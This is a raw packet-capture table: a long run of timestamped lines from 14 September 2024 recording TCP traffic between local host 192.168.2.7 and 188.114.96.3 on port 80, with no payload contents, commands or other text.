Sep 14, 2024 18:44:29.288383961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288408041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288440943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288453102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288475990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288507938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288520098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288541079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288573027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288580894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288628101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288662910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288677931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288696051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288727045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288741112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288780928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288814068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288825989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288849115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288877964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288898945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288912058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288945913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288958073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288997889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289032936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289046049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289067030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289100885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289113045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289134026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289167881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289199114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289208889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289235115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289239883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289268017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289302111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289313078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289336920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289371967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289380074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289405107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289438963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289458990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289472103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289505959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289515972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289540052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289575100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289585114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.289608955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.289652109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.343589067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343612909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343638897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343655109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343669891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343694925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343710899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343723059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.343727112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.343802929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.343825102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372245073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372317076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372371912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372406006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372409105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372442007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372476101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372497082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372513056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372519970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372544050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372589111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372596025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372631073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372662067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372673035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372697115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372747898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372764111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372781992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372814894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372832060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372848988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372884989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372899055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372920036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372952938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.372982979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.372986078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373018026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373032093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373068094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373100996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373110056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373153925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373183966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373193979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373219013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373253107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373264074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373303890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373337984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373347044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373390913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373426914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373436928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373461008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373495102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373512030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373526096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373577118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373603106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373611927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373645067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373650074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373678923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373717070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373723984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373750925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373785019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373791933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373817921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373862028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373869896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373903036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373950005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.373956919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.373991013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374022961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374036074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374058962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374077082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374109030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374110937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374144077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374176979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374197006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374219894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374228001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374259949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374296904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374301910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374327898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374361038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374372959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374396086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374428988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374438047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374463081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374495983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374507904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374546051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374579906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374596119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374612093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374644995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374656916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374679089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374711037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374727011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374743938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374778986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374788046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374813080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374850035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374857903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374883890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374917984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374932051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.374948025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374979973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.374991894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375014067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375046015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375057936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375080109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375111103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375123024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375144958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375179052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375188112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375216961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375248909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375273943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375282049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375313997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375322104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375349045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375380993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375396967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375478983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375511885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375523090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375545979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375588894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375597954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375632048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375662088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375679016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375695944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375730038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375744104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375762939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375797033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375806093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375830889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375861883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375874996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375895023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375927925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375935078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.375961065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.375997066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376005888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376030922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376065016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376074076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376099110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376131058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376142025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376164913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376197100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376213074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376233101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376265049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376272917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376300097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376332998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376352072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.376379013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.376424074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.430361986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430382013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430398941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430455923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430471897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430480957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.430500031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430506945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.430519104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430535078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.430538893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.430571079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.458946943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.458996058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459039927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459049940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459084988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459117889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459146023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459151030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459193945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459203959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459234953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459266901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459285975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459321022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459352016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459364891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459403038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459435940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459451914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459486961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459520102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459530115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459556103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459589958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459599018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459625006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459659100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459667921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459700108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459738016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459748983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459783077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459815025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459825039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459850073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459893942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.459901094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459937096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459969997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.459981918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460005999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460052967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460057020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460091114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460124016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460133076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460160017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460205078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460216999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460251093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460282087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460292101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460316896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460350037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460360050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460385084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460421085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460454941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460484982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460486889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460515976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460522890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460556984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460562944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460625887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460659027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460665941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460694075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460730076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460732937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460763931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460797071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460810900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460829973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460863113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460874081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460896969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460931063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.460937977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.460982084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461014986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461026907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.461050987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461081982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.461090088 CEST	54891	80	192.168.2.7	188.114.96.3
